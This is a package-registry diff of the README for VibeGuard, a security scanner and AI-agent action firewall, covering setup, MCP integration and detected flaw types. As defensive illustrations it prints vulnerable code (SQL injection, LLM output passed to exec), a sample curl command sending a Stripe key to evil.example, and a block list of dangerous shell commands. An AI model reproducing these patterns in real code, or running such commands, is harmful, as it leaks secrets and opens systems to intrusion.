@yagyeshvyas/vibeguard 1.0.0 โ†’ 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,586 +1,278 @@
1
1
  <div align="center">
2
2
 
3
- <!-- Animated Logo Banner -->
4
- <img src="https://readme-typing-svg.herokuapp.com?font=Fira+Code&weight=700&size=32&duration=1500&pause=500&color=2E75B6&center=true&vCenter=true&random=false&width=600&lines=VibeGuard;693+Rules+%7C+75+MCP+Tools;13+Defense+Layers;86%25+Precision+%7C+96%25+Recall;329+Tests+%7C+0+Failures;$0+Cost+%7C+Zero+Telemetry;One+Command+%3A+vibeguard+auto" alt="VibeGuard" />
3
+ <img src="website/banner.svg" alt="VibeGuard" width="480" />
5
4
 
6
- <br/>
5
+ <h3>Security scanner + AI agent firewall for vibe-coded apps.</h3>
7
6
 
8
- <!-- Status Badges -->
9
- <img src="https://img.shields.io/badge/status-active-success?style=flat-square&color=22C55E" />
10
- <img src="https://img.shields.io/badge/version-0.1.0-blue?style=flat-square" />
11
- <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square&color=22C55E" />
12
- <img src="https://img.shields.io/badge/cost-$0-green?style=flat-square&color=22C55E" />
13
- <img src="https://img.shields.io/badge/telemetry-none-green?style=flat-square&color=22C55E" />
14
- <img src="https://img.shields.io/badge/privacy-100%25%20local-green?style=flat-square&color=22C55E" />
7
+ <p>
8
+ Scan AI-generated code for leaked keys, SQLi, prompt injection, and uncapped agent loops. 699 rules, AST taint analysis, real-time action firewall. 100% offline. Free forever.
9
+ </p>
15
10
 
16
- <br/>
17
- <br/>
11
+ <p>
12
+ <a href="https://www.npmjs.com/package/@yagyeshvyas/vibeguard"><img src="https://img.shields.io/npm/v/@yagyeshvyas/vibeguard?style=flat-square&logo=npm&logoColor=white" alt="npm version" /></a>
13
+ <a href="https://github.com/yagyeshVyas/VibeGuard/actions"><img src="https://img.shields.io/github/actions/workflow/status/yagyeshVyas/VibeGuard/ci.yml?style=flat-square&logo=github&logoColor=white" alt="CI" /></a>
14
+ <a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue?style=flat-square" alt="MIT license" /></a>
15
+ <img src="https://img.shields.io/badge/coverage-86%25%20F1-success?style=flat-square" alt="86% F1" />
16
+ <img src="https://img.shields.io/badge/rules-699-blue?style=flat-square" alt="699 rules" />
17
+ <img src="https://img.shields.io/badge/MCP%20tools-78-purple?style=flat-square" alt="78 MCP tools" />
18
+ <img src="https://img.shields.io/badge/telemetry-zero-brightgreen?style=flat-square" alt="Zero telemetry" />
19
+ </p>
18
20
 
19
- <!-- Stats Cards -->
20
- <img src="https://img.shields.io/badge/rules-693-blue?style=for-the-badge&color=2E75B6" />
21
- <img src="https://img.shields.io/badge/MCP_tools-75-purple?style=for-the-badge&color=8B5CF6" />
22
- <img src="https://img.shields.io/badge/CLI_commands-58-blue?style=for-the-badge&color=3B82F6" />
23
- <img src="https://img.shields.io/badge/auto_fixes-43-green?style=for-the-badge&color=22C55E" />
24
- <img src="https://img.shields.io/badge/defense_layers-13-red?style=for-the-badge&color=EF4444" />
25
- <img src="https://img.shields.io/badge/AI_clients-12-cyan?style=for-the-badge&color=06B6D4" />
26
- <img src="https://img.shields.io/badge/languages-14-blue?style=for-the-badge&color=3B82F6" />
27
- <img src="https://img.shields.io/badge/frameworks-20%2B-orange?style=for-the-badge&color=F59E0B" />
28
- <img src="https://img.shields.io/badge/tests-329-brightgreen?style=for-the-badge&color=22C55E" />
29
- <img src="https://img.shields.io/badge/errors-0-brightgreen?style=for-the-badge&color=22C55E" />
21
+ <img src="website/demo.gif" alt="VibeGuard scan demo" width="640" />
30
22
 
31
23
  <br/>
32
- <br/>
24
+ <sub>Captured against a test project with a planted <code>sk_live</code> Stripe key.</sub>
33
25
 
34
- <!-- Shield-style shields -->
35
- <a href="https://github.com/yagyeshVyas/VibeGuard/stargazers"><img src="https://img.shields.io/github/stars/yagyeshVyas/VibeGuard?style=social" alt="Stars"></a>
36
- <a href="https://github.com/yagyeshVyas/VibeGuard/network/members"><img src="https://img.shields.io/github/forks/yagyeshVyas/VibeGuard?style=social" alt="Forks"></a>
37
- <a href="https://www.npmjs.com/package/vibeguard"><img src="https://img.shields.io/badge/npm-vibeguard-red?style=social&logo=npm" alt="npm"></a>
38
- <a href="https://www.linkedin.com/in/yagyeshvyas/"><img src="https://img.shields.io/badge/LinkedIn-Yagyesh_Vyas-blue?style=social&logo=linkedin" alt="LinkedIn"></a>
39
-
40
- <br/>
41
- <br/>
26
+ <br/><br/>
42
27
 
43
- <!-- Tagline -->
44
- <h3>The Security & Privacy Platform Built for Vibe Coders</h3>
28
+ <a href="https://www.npmjs.com/package/@yagyeshvyas/vibeguard"><code>npx @yagyeshvyas/vibeguard scan</code></a>
45
29
 
46
- <p>AI coding tools (Claude Code, Cursor, Windsurf, Lovable, Bolt) ship fast โ€” and often ship hardcoded secrets, open databases, injection holes, and privacy violations. <b>VibeGuard catches all of it.</b></p>
30
+ <br/><br/>
47
31
 
48
- <table>
49
- <tr>
50
- <td align="center"><h4>693</h4><sub>Rules</sub></td>
51
- <td align="center"><h4>75</h4><sub>MCP Tools</sub></td>
52
- <td align="center"><h4>58</h4><sub>CLI Commands</sub></td>
53
- <td align="center"><h4>13</h4><sub>Defense Layers</sub></td>
54
- <td align="center"><h4>43</h4><sub>Auto-Fixes</sub></td>
55
- <td align="center"><h4>$0</h4><sub>Cost</sub></td>
56
- </tr>
57
- </table>
32
+ <a href="#what-it-catches">Features</a> &bull;
33
+ <a href="#quick-start">Quick Start</a> &bull;
34
+ <a href="#benchmark">Benchmark</a> &bull;
35
+ <a href="#commands">Commands</a> &bull;
36
+ <a href="https://vibe-guard-site-ivory.vercel.app/">Website</a> &bull;
37
+ <a href="#why-vibeguard">Why</a> &bull;
38
+ <a href="#honest-scope">Limits</a>
58
39
 
59
40
  </div>
60
41
 
61
42
  ---
62
43
 
63
- <!-- Install -->
64
- ## ๐Ÿ“ฆ Install
44
+ ## Why VibeGuard
65
45
 
66
- ### Option 1: From npm (when published)
67
- ```bash
68
- npx vibeguard install
69
- ```
70
-
71
- ### Option 2: From GitHub (works now!)
72
-
73
- ```bash
74
- git clone https://github.com/yagyeshVyas/VibeGuard.git
75
- cd VibeGuard
76
- npm install
77
- npm link # makes 'vibeguard' available globally
78
- ```
46
+ AI coding tools ship fast but skip security. Most devs vibe-code a prototype and forget to harden it. VibeGuard raises the floor โ€” one command, 5 seconds, no account, no telemetry.
79
47
 
80
- Then use it:
81
- ```bash
82
- vibeguard auto # one command โ€” full protection on
83
- vibeguard auto --status # see what's active
84
- vibeguard auto --stop # turn it all off, restore backups
85
48
  ```
49
+ $ npx @yagyeshvyas/vibeguard scan
86
50
 
87
- <div align="center">
88
-
89
- ### `vibeguard auto` activates everything in one command
51
+ VibeGuard security scan
52
+ ./my-app
90
53
 
91
- ```
92
- [VibeGuard] Activating full protection...
54
+ CRITICAL api/route.ts:3 [secret.openai-key]
55
+ OpenAI API key hardcoded in server code
56
+ fix: Move to environment variable.
93
57
 
94
- OK scan Grade: A Critical: 0 High: 0
95
- OK daemon done
96
- OK pre-commit-hook done
97
- OK post-edit-hook done
98
- OK shell-guard done
58
+ HIGH db/query.ts:5 [taint.sql-injection]
59
+ User input flows into SQL query via template literal (dataflow-confirmed)
60
+ fix: Use parameterized queries / prepared statements.
99
61
 
100
- [VibeGuard] Fully active:
62
+ HIGH app/page.jsx:8 [taint.xss-dom]
63
+ User input from URLSearchParams reaches innerHTML โ€” DOM XSS
64
+ fix: Use textContent instead of innerHTML. Sanitize with DOMPurify if needed.
101
65
 
102
- 1. Daemon โ€” auto-scans every file change
103
- 2. Pre-commit hook โ€” blocks commits on critical
104
- 3. Post-edit hook โ€” scans AI agent edits
105
- 4. Shell guard โ€” blocks dangerous commands
66
+ Grade D (12 files) 1 critical 3 high 2 medium 1 low
106
67
 
107
- Status: vibeguard auto --status
108
- Stop: vibeguard auto --stop
109
- Override: VG_OVERRIDE=1 <command>
68
+ Run vibeguard fix to auto-fix 4 issues
110
69
  ```
111
70
 
112
- </div>
71
+ ---
72
+
73
+ ## Quick Start
113
74
 
114
- Or individual commands:
115
75
  ```bash
116
- vibeguard scan # scan your project
117
- vibeguard dashboard # beautiful terminal dashboard
118
- vibeguard fix # auto-fix 43 rule types
119
- vibeguard pre-deploy # 13-gate deployment check
120
- vibeguard firewall "your prompt here" # AI firewall
76
+ npx @yagyeshvyas/vibeguard scan
121
77
  ```
122
78
 
123
- ### Wire into Claude Code (from GitHub clone)
124
-
79
+ One-command full protection (daemon + hooks + shell guard):
125
80
  ```bash
126
- # In your project directory:
127
- echo '{ "mcpServers": { "vibeguard": { "command": "node", "args": ["/path/to/VibeGuard/bin/cli.js", "mcp"] } } }' > .mcp.json
81
+ npx @yagyeshvyas/vibeguard auto # full protection on
82
+ npx @yagyeshvyas/vibeguard auto --stop # turn it off
128
83
  ```
129
84
 
130
- Or use the global Claude Code command:
85
+ ### Wire into Claude Code
131
86
  ```bash
132
- claude mcp add vibeguard -- node /path/to/VibeGuard/bin/cli.js mcp
87
+ claude mcp add vibeguard -- npx @yagyeshvyas/vibeguard mcp
133
88
  ```
134
89
 
135
- ### Wire into Cursor / Windsurf / other MCP clients
136
-
137
- Add to your MCP config file:
90
+ ### Wire into Cursor / Windsurf
138
91
  ```json
139
- {
140
- "mcpServers": {
141
- "vibeguard": {
142
- "command": "node",
143
- "args": ["/path/to/VibeGuard/bin/cli.js", "mcp"]
144
- }
145
- }
146
- }
92
+ { "mcpServers": { "vibeguard": { "command": "npx", "args": ["@yagyeshvyas/vibeguard", "mcp"] } } }
147
93
  ```
148
94
 
149
- ### Wire into Codex CLI
95
+ ---
150
96
 
151
- ```bash
152
- # Add to ~/.codex/config.toml:
153
- [mcp_servers.vibeguard]
154
- command = "node"
155
- args = ["/path/to/VibeGuard/bin/cli.js", "mcp"]
156
- ```
97
+ ## What It Catches
157
98
 
158
- <p>Auto-detects 12 AI coding clients: <b>Claude Code, Cursor, Windsurf, Codex CLI, Antigravity, Gemini CLI, Continue, Cline, Roo Code, OpenHands, Aider, VS Code</b></p>
159
-
160
- <!-- AI Client Logos -->
161
- <table>
162
- <tr>
163
- <td align="center">๐Ÿ”ต</td>
164
- <td align="center">๐ŸŸฃ</td>
165
- <td align="center">๐ŸŸข</td>
166
- <td align="center">๐ŸŸก</td>
167
- <td align="center">๐Ÿ”ด</td>
168
- <td align="center">๐ŸŸ </td>
169
- <td align="center">โšซ</td>
170
- </tr>
171
- <tr>
172
- <td align="center"><sub>Claude Code</sub></td>
173
- <td align="center"><sub>Cursor</sub></td>
174
- <td align="center"><sub>Windsurf</sub></td>
175
- <td align="center"><sub>Codex CLI</sub></td>
176
- <td align="center"><sub>Antigravity</sub></td>
177
- <td align="center"><sub>Gemini CLI</sub></td>
178
- <td align="center"><sub>Continue</sub></td>
179
- </tr>
180
- <tr>
181
- <td align="center"><sub>Cline</sub></td>
182
- <td align="center"><sub>Roo Code</sub></td>
183
- <td align="center"><sub>OpenHands</sub></td>
184
- <td align="center"><sub>Aider</sub></td>
185
- <td align="center"><sub>VS Code</sub></td>
186
- <td align="center"><sub>+ more</sub></td>
187
- <td align="center"></td>
188
- </tr>
189
- </table>
99
+ ### Leaked Stripe key in client code
100
+ ```js
101
+ const key = "sk_live_51H8x..."; // anyone with devtools can issue refunds
102
+ ```
103
+ Flags 50+ secret types โ€” OpenAI, AWS, GitHub, Stripe, Slack, Firebase, GCP, Twilio, SendGrid, npm, Mailgun, Resend, Telegram โ€” and tells you to move them to `process.env`.
190
104
 
191
- <br/>
105
+ ### Supabase database open to the world
106
+ ```sql
107
+ create table posts ( ... ); -- no RLS โ€” anyone can read/write all rows
108
+ ```
109
+ Detects missing RLS, fake RLS policies (`USING (true)`), and service-role keys in client components.
192
110
 
193
- ```bash
194
- vibeguard scan # scan your project
195
- vibeguard dashboard # beautiful terminal dashboard
196
- vibeguard fix # auto-fix 43 rule types
197
- vibeguard pre-deploy # 13-gate deployment check
111
+ ### SQL injection via template literal
112
+ ```js
113
+ db.query(`SELECT * FROM users WHERE id = ${req.body.id}`);
198
114
  ```
115
+ AST taint analysis traces `req.body.id` through template literals to `query()` โ€” confirmed dataflow, not a regex guess.
199
116
 
200
- </div>
117
+ ### Prompt injection in system prompt
118
+ ```js
119
+ { role: "system", content: "You are " + req.body.prompt }
120
+ ```
121
+ Catches user input injected into the system role โ€” the root cause of most prompt injection attacks.
201
122
 
202
- ---
123
+ ### `dangerouslySetInnerHTML` with request data
124
+ ```jsx
125
+ <div dangerouslySetInnerHTML={{__html: req.body.html}} />
126
+ ```
127
+ Flags XSS sinks across React, Vue (`v-html`), Angular (`innerHTML`), and raw `innerHTML` / `outerHTML` / `insertAdjacentHTML`.
203
128
 
204
- <!-- Table of Contents -->
205
- <div align="center">
206
- <h2>๐Ÿ“– What is VibeGuard?</h2>
207
- </div>
129
+ ### AI agent loop without iteration cap
130
+ ```js
131
+ while (true) { await agent.step(); }
132
+ ```
133
+ Detects uncapped agent loops โ€” infinite API spend, resource exhaustion.
208
134
 
209
- VibeGuard is a **free, zero-dependency security and privacy scanner** that runs entirely on your machine. It reads your code files locally, checks them against 693 security rules, and tells you exactly what's wrong and how to fix it โ€” all without sending a single byte to any server.
135
+ ### Shell command from LLM output (RCE via prompt injection)
136
+ ```js
137
+ const completion = await openai.chat.completions.create({...});
138
+ exec(completion.choices[0].message.content); // RCE
139
+ ```
140
+ Only scanner that detects LLM output reaching `exec`, `eval`, SQL queries, and DOM sinks.
210
141
 
211
- It's built specifically for the problems AI coding tools create:
212
- - Hardcoded API keys visible in browser dev tools
213
- - Supabase/Firebase databases open to the world (no RLS)
214
- - Admin endpoints with no authentication
215
- - SQL injection, command injection, XSS
216
- - Secrets committed to git history
217
- - Hallucinated npm packages that don't exist
218
- - User data sent to AI APIs without redaction
219
- - Analytics tracking without consent (GDPR violation)
220
- - WebRTC IP leaks, clipboard theft, geolocation without consent
142
+ ### Poisoned or rug-pulled MCP server
143
+ ```json
144
+ { "mcpServers": { "helper": { "command": "npx", "args": ["-y", "some-tool", "mcp"] } } }
145
+ ```
146
+ ```bash
147
+ vibeguard mcp-audit # audit every MCP server your agent trusts
148
+ ```
149
+ Flags tool poisoning (prompt injection in tool descriptions), unpinned auto-install (`npx -y` โ€” the server's code can silently change between runs), remote-code commands, secrets in `env`, and **definition drift** โ€” a server whose config changed since you approved it (the classic MCP rug-pull). 100% offline; reads config only, never runs a server.
221
150
 
222
151
  ---
223
152
 
224
- <div align="center">
225
- <h2>๐Ÿ›ก๏ธ 13-Layer Defense Architecture</h2>
226
- </div>
153
+ ## `vibeguard agent-scan` โ€” "Is my AI-agent setup safe?"
227
154
 
228
- Even if an AI is **fully jailbroken**, it cannot leak data. Each layer runs automatically when the MCP server starts.
229
-
230
- <table>
231
- <tr>
232
- <th>#</th>
233
- <th>Layer</th>
234
- <th>Module</th>
235
- <th>What It Catches</th>
236
- <th>When</th>
237
- </tr>
238
- <tr>
239
- <td align="center">1</td>
240
- <td><b>Static Scanner</b></td>
241
- <td><code>scanner.js</code></td>
242
- <td>693 security rules across 14 languages</td>
243
- <td>Before deploy</td>
244
- </tr>
245
- <tr>
246
- <td align="center">2</td>
247
- <td><b>AI Firewall</b></td>
248
- <td><code>firewall.js</code></td>
249
- <td>Prompt injection, jailbreaks, secret access</td>
250
- <td>Before LLM call</td>
251
- </tr>
252
- <tr>
253
- <td align="center">3</td>
254
- <td><b>Agent Guard</b></td>
255
- <td><code>firewall.js</code></td>
256
- <td>Dangerous file/command/network access</td>
257
- <td>Before agent action</td>
258
- </tr>
259
- <tr>
260
- <td align="center">4</td>
261
- <td><b>Runtime Interceptor</b></td>
262
- <td><code>interceptor.js</code></td>
263
- <td>Wraps fetch/http/exec/fs at runtime level</td>
264
- <td>During execution</td>
265
- </tr>
266
- <tr>
267
- <td align="center">5</td>
268
- <td><b>Output Guard</b></td>
269
- <td><code>interceptor.js</code></td>
270
- <td>Secrets/PII in AI responses โ†’ redacted</td>
271
- <td>After LLM response</td>
272
- </tr>
273
- <tr>
274
- <td align="center">6</td>
275
- <td><b>Exfil Firewall</b></td>
276
- <td><code>firewall.js</code></td>
277
- <td>PII/secrets in outbound data โ†’ blocked</td>
278
- <td>Before any request</td>
279
- </tr>
280
- <tr>
281
- <td align="center">7</td>
282
- <td><b>Env Lock</b></td>
283
- <td><code>interceptor.js</code></td>
284
- <td>Hides sensitive env vars from AI</td>
285
- <td>At process start</td>
286
- </tr>
287
- <tr>
288
- <td align="center">8</td>
289
- <td><b>Self-Protection</b></td>
290
- <td><code>interceptor.js</code></td>
291
- <td>Detects tampering with VibeGuard itself</td>
292
- <td>Continuous</td>
293
- </tr>
294
- <tr>
295
- <td align="center">9</td>
296
- <td><b>Zero-Trust Sandbox</b></td>
297
- <td><code>sandbox.js</code></td>
298
- <td>Locked VM: no fs, no exec, no network</td>
299
- <td>Code execution</td>
300
- </tr>
301
- <tr>
302
- <td align="center">10</td>
303
- <td><b>Behavioral Analysis</b></td>
304
- <td><code>behavior.js</code></td>
305
- <td>Trust building, data gathering, slow exfil</td>
306
- <td>Over session</td>
307
- </tr>
308
- <tr>
309
- <td align="center">11</td>
310
- <td><b>Supply Chain Firewall</b></td>
311
- <td><code>supply-firewall.js</code></td>
312
- <td>Malware, typosquats, dangerous scripts</td>
313
- <td>Before npm install</td>
314
- </tr>
315
- <tr>
316
- <td align="center">12</td>
317
- <td><b>Secret Vault</b></td>
318
- <td><code>vault.js</code></td>
319
- <td>AES-256-GCM encrypted in-memory storage</td>
320
- <td>Secret access</td>
321
- </tr>
322
- <tr>
323
- <td align="center">13</td>
324
- <td><b>Audit Trail</b></td>
325
- <td><code>audit-trail.js</code></td>
326
- <td>SHA-256 chained tamper-proof log</td>
327
- <td>All actions</td>
328
- </tr>
329
- </table>
155
+ One command, one grade, across every agent-era risk generic scanners miss:
330
156
 
331
- ---
332
-
333
- <div align="center">
334
- <h2>๐Ÿ”ฅ What VibeGuard Catches</h2>
335
- </div>
157
+ ```bash
158
+ vibeguard agent-scan
159
+ ```
160
+ ```
161
+ VibeGuard โ€” AI Agent Security Posture (offline)
162
+ Agent Risk Grade: C (0 critical, 4 high, 2 medium)
163
+
164
+ MCP trust (1) unpinned server (rug-pull risk)
165
+ AI data leakage (2) PII sent to OpenAI without redaction
166
+ LLM output โ†’ sink (3) model output reaching exec() / SQL
167
+ Prompt injection (1) user input in system prompt, no guard
168
+ Agent capability (1) agent loop with no iteration cap
169
+ ```
336
170
 
337
- <details>
338
- <summary><b>๐Ÿ”“ The #1 r/vibecoding Issue: Open Databases</b></summary>
339
-
340
- If you use Supabase, Firebase, or Convex, VibeGuard checks:
341
- - **RLS missing** โ€” table created but row-level security never enabled
342
- - **RLS fake policy** โ€” `USING (true)` โ€” looks enabled in dashboard, protects nothing
343
- - **PERMISSIVE policy** โ€” allows access unless another policy blocks it
344
- - **Service role key in client** โ€” bypasses RLS entirely
345
- - **Firebase rules open** โ€” `.read: true` or `.write: true`
346
- - **Firebase rules any-auth** โ€” `auth != null` means ANY logged-in user sees ALL data
347
- - **Convex public query** โ€” exported query with no auth check
348
- </details>
349
-
350
- <details>
351
- <summary><b>๐Ÿ”‘ Secrets (50+ types)</b></summary>
352
-
353
- OpenAI, Anthropic, Stripe (live + restricted), AWS, GitHub, Slack, GitLab, Twilio, SendGrid, Mailgun, Telegram, npm, Resend, GCP, Azure, Cloudflare, Datadog, Sentry, Algolia, Vercel, Netlify, Heroku, DigitalOcean, Notion, Linear, Contentful, PlanetScale, Vault, Doppler, Grafana, Jira, PagerDuty, New Relic, Splunk, Braintree, Square, Paddle, MUX, Mailchimp, Postmark, Sendinblue, Twitch, Patreon, Discord, Bitbucket, JFrog, LaunchDarkly, Rollbar, Mapbox, Twilio SID, and more.
354
-
355
- Plus: connection strings with passwords, `.env` not in `.gitignore`, secrets in localStorage/sessionStorage, secrets in URL params, secrets in client-side config files.
356
- </details>
357
-
358
- <details>
359
- <summary><b>๐Ÿ’‰ Injection (30+ rules)</b></summary>
360
-
361
- - **SQL injection** โ€” string concat, template literals, f-strings, format(), % formatting, raw queries across Prisma, Drizzle, Sequelize, TypeORM, Kysely, MikroORM, Turso, Hono, Go, Python, PHP, C#, Kotlin, Rust
362
- - **Command injection** โ€” exec/spawn with user input, template literals, backtick interpolation
363
- - **Code injection** โ€” eval, new Function, setTimeout/setInterval with strings, vm.runInContext
364
- - **XSS** โ€” dangerouslySetInnerHTML, v-html, innerHTML, outerHTML, document.write, insertAdjacentHTML, Angular DomSanitizer bypass, Rails html_safe, Laravel `{!! !!}`
365
- - **SSTI** โ€” template render with user input (EJS, Pug, Handlebars, Mustache)
366
- - **LDAP, XPath, NoSQL $where, header injection, log injection, CSV formula injection, PDF injection**
367
- - **SSRF** โ€” fetch to internal IPs, cloud metadata service (169.254.169.254), DNS rebinding
368
- </details>
369
-
370
- <details>
371
- <summary><b>๐Ÿ” Auth (20+ rules)</b></summary>
372
-
373
- - JWT alg:none, weak JWT secret, JWT decoded without verify
374
- - Hardcoded admin credentials
375
- - Password compared with `==` (plaintext)
376
- - Session fixation (no regenerate after login)
377
- - No rate limiting on login/register
378
- - Password in query string
379
- - Missing MFA enforcement
380
- - OAuth state parameter empty/static
381
- - Token in URL
382
- - No logout endpoint
383
- </details>
384
-
385
- <details>
386
- <summary><b>๐Ÿค– AI/LLM Security (35+ rules)</b></summary>
387
-
388
- - Prompt injection in tool descriptions
389
- - AI agent can execute code, deploy, install packages, access secrets, modify auth
390
- - LLM output used as SQL, shell, DOM, file path
391
- - Data exfiltration via agent
392
- - Memory poisoning
393
- - Training data leakage
394
- - Agent loop without iteration cap
395
- - Tool result injection
396
- - Missing max_tokens, temperature too high
397
- - Browser API key exposure
398
- - **Secure prompt analysis** โ€” analyzes your prompt BEFORE code generation
399
- </details>
400
-
401
- <details>
402
- <summary><b>๐Ÿ“ฆ Supply Chain (15+ rules)</b></summary>
403
-
404
- - **Slopsquat detection** โ€” hallucinated npm packages that don't exist
405
- - Typosquat detection
406
- - Postinstall scripts with curl/wget/eval
407
- - Unpinned Docker images (:latest)
408
- - GPL/AGPL license risk
409
- - Missing integrity hashes
410
- - git+http dependencies
411
- - Crypto miners in dependencies
412
- - Missing .npmrc
413
- </details>
414
-
415
- <details>
416
- <summary><b>๐Ÿ—๏ธ Infrastructure (40+ rules)</b></summary>
417
-
418
- - **Terraform**: S3 public, IAM wildcard, SG 0.0.0.0/0, RDS public, no encryption, no KMS rotation, hardcoded keys, no backup, no CloudTrail
419
- - **Kubernetes**: run-as-root, no readOnly FS, hostPath, hostPID/IPC, no NetworkPolicy, privileged, SYS_ADMIN, no seccomp, no probes, no security context
420
- - **Docker**: no USER directive, no HEALTHCHECK, privileged, no resource limits, secrets in env, :latest
421
- - **Docker Compose**: no resource limits, secrets in environment, privileged, host network, weak restart policy
422
- - **GitHub Actions**: script injection, write-all permissions, unpinned actions
423
- - **CI/CD**: GitLab secrets in YAML, Jenkins credentials, CircleCI context, AWS CDK secrets, CloudFormation, Helm, Ansible, Pulumi
424
- </details>
425
-
426
- <details>
427
- <summary><b>๐Ÿ”’ Privacy Protection (50+ rules)</b></summary>
428
-
429
- VibeGuard is the only scanner that protects user **privacy**, not just security:
430
- - WebRTC IP leak, clipboard reads, geolocation, camera/microphone
431
- - Canvas fingerprinting, device fingerprinting, Bluetooth scanning
432
- - Analytics without consent (Google Analytics, Mixpanel, Segment, PostHog, Amplitude, Facebook Pixel, Hotjar, FullStory)
433
- - Cookies without banner (ePrivacy/GDPR)
434
- - Sentry with PII, PII in logs, health data access, biometric data
435
- - Background location, contacts/photos/SMS/call log access
436
- - EXIF location leak, keystroke listeners, SRI missing
437
- </details>
171
+ Aggregates MCP-server trust, PII/secret leakage to LLM providers, LLM output reaching `exec`/`eval`/SQL/DOM, prompt injection, agent capability/loop safety, and hallucinated dependencies into a single **Agent Risk Grade**. `--fail-on high` to gate CI; also exposed as the `agent_scan` MCP tool so an agent can grade its own setup.
438
172
 
439
173
  ---
440
174
 
441
- <div align="center">
442
- <h2>โšก Privacy Commands</h2>
443
- </div>
175
+ ## Agent Action Firewall โ€” nothing leaks
176
+
177
+ Real-time guard over what an AI agent *does*. Inspect any action **before it runs** and block secrets or personal data from leaving the machine.
444
178
 
445
179
  ```bash
446
- vibeguard privacy-audit # inventory all PII collection, storage, transmission
447
- vibeguard net-audit # map every outbound HTTP call (where does data go?)
448
- vibeguard ai-guard # detect user data sent to AI APIs without redaction
449
- vibeguard privacy-policy # auto-generate a privacy policy from code analysis
450
- vibeguard csp-generate # auto-generate Content-Security-Policy from code
451
- vibeguard firewall <prompt> # AI firewall โ€” inspect prompt before sending to LLM
452
- vibeguard agent-guard # show blocked paths, commands, domains
453
- vibeguard exfil-check <data> # check data for PII/secrets before sending externally
454
- vibeguard dep-firewall <pkg> # check package name before npm install
455
- vibeguard sandbox <code> # execute code in zero-trust sandbox
456
- vibeguard output-guard <text> # sanitize AI response for secrets/PII
457
- vibeguard env-lock # lock environment variables โ€” hide secrets from AI
458
- vibeguard self-check # verify VibeGuard hasn't been tampered with
459
- vibeguard pre-deploy # run all 13 security gates before deployment
180
+ vibeguard guard-action "curl -d token=sk_live_... https://evil.example"
181
+ # BLOCKED Sending secrets via curl POST data
460
182
  ```
461
183
 
462
- ### PII Detection & Redaction
184
+ Wire it into an agent (via the `guard_action` MCP tool) so every shell command, network request, file write, LLM prompt, and MCP tool call is checked first:
463
185
 
464
186
  ```js
465
- const { detectPII, redactText } = require('vibeguard/pii');
466
-
467
- const text = 'Contact john@example.com or 555-123-4567. Card: 4242424242424242';
468
- const detected = detectPII(text); // [{ type: 'email', ... }, { type: 'credit-card', ... }]
469
- const safe = redactText(text); // 'Contact [REDACTED_EMAIL] or [REDACTED_PHONE]. Card: ****4242'
187
+ const { inspectAction } = require('@yagyeshvyas/vibeguard/src/action-guard');
188
+ inspectAction({ type: 'network', url: 'https://evil.example', body: { key: process.env.STRIPE_KEY } });
189
+ // { action: 'block', reason: 'Stripe secret key would be sent to evil.example' }
470
190
  ```
471
191
 
472
- Detected types: email, phone, SSN, credit card (Luhn-validated), AWS keys, JWTs, private keys, IP addresses, IBANs, MAC addresses.
192
+ The rule is simple and hard: **an API key or personal data (email, SSN, credit card, phone) never leaves to an external host** โ€” secrets are blocked unconditionally, PII is blocked (or `warn`), sending to `localhost`/your own allowlisted hosts is fine. Also blocks cloud-metadata credential theft (`169.254.169.254`), secrets written to web-served paths, and secrets pasted into LLM prompts. `sanitizeOutbound()` redacts instead of dropping when you'd rather scrub than block.
473
193
 
474
194
  ---
475
195
 
476
- <div align="center">
477
- <h2>๐Ÿš€ Pre-Deploy Gate (13 Gates)</h2>
478
- </div>
479
-
480
- Run all 13 security gates before deployment. If ANY gate fails, deployment is blocked.
196
+ ## `vibeguard auto` โ€” One Command Full Protection
481
197
 
482
198
  ```bash
483
- vibeguard pre-deploy # run all gates
484
- vibeguard pre-deploy --strict # fail on warnings too
485
- vibeguard pre-deploy --json # JSON output for CI/CD
199
+ vibeguard auto # activates everything
200
+ vibeguard auto --status # see what's active
201
+ vibeguard auto --stop # reverse everything, restore backups
486
202
  ```
487
203
 
488
- | # | Gate | What It Checks |
489
- |---|------|------|
490
- | 1 | Static Scan | 693 rules โ€” any critical? |
491
- | 2 | Secret Scan | Secrets exposed in code? |
492
- | 3 | Git History | .env tracked in git? |
493
- | 4 | Dependency Audit | Slopsquat/typosquat? |
494
- | 5 | Supply Chain | Lockfile, scripts, licenses? |
495
- | 6 | Privacy Audit | PII collection/storage/transmission? |
496
- | 7 | Network Audit | Suspicious outbound domains? |
497
- | 8 | AI Data Guard | User data to AI APIs without redaction? |
498
- | 9 | Compliance | SOC2/PCI/HIPAA/GDPR? |
499
- | 10 | Config Check | .env in .gitignore? MCP installed? |
500
- | 11 | Self-Check | All VibeGuard modules intact? |
501
- | 12 | Tamper Check | No tampering with VibeGuard? |
502
- | 13 | Behavioral Check | No suspicious patterns? |
204
+ | Layer | What it does |
205
+ |-------|-------------|
206
+ | Daemon | Watches files, auto-scans on every change (300ms debounce) |
207
+ | Pre-commit hook | Blocks git commits on critical findings |
208
+ | Post-edit hook | Auto-scans files after AI agent edits them |
209
+ | Shell guard | Blocks dangerous commands (`rm -rf`, `sudo`, `curl\|sh`) before execution |
503
210
 
504
- ---
211
+ All state in `.vibeguard/auto.json`. Idempotent โ€” safe to run twice. `--stop` restores everything byte-for-byte.
505
212
 
506
- <div align="center">
507
- <h2>๐Ÿ”ฌ AST Taint Analysis & Confidence</h2>
508
- </div>
213
+ Flags: `--ci` (pipeline mode, exit non-zero on critical), `--fix` (apply safe auto-fixes), `--no-shell`, `--strict`.
509
214
 
510
- VibeGuard uses **scope-aware AST dataflow analysis** (not just regex) to track user input from source to sink:
215
+ ---
511
216
 
512
- ```js
513
- const name = req.body.name; // source โ€” tainted
514
- const cmd = `ls ${name}`; // taint propagates through template literal
515
- exec(cmd); // sink โ€” command injection confirmed
516
- ```
217
+ ## Confidence + Inline Suppression
517
218
 
518
- **Confidence levels** on every finding reduce alert fatigue:
219
+ Every finding has a confidence level:
519
220
 
520
- | Confidence | Meaning | How it's set |
521
- |------------|---------|-------------|
522
- | `high` | Dataflow-confirmed โ€” input traced to sink | AST taint, AST analysis |
523
- | `medium` | Multi-signal regex with `filter()` | Rules with validation logic |
524
- | `low` | Bare regex match โ€” heuristic hint | Single-pattern rules |
221
+ | Confidence | Meaning |
222
+ |------------|---------|
223
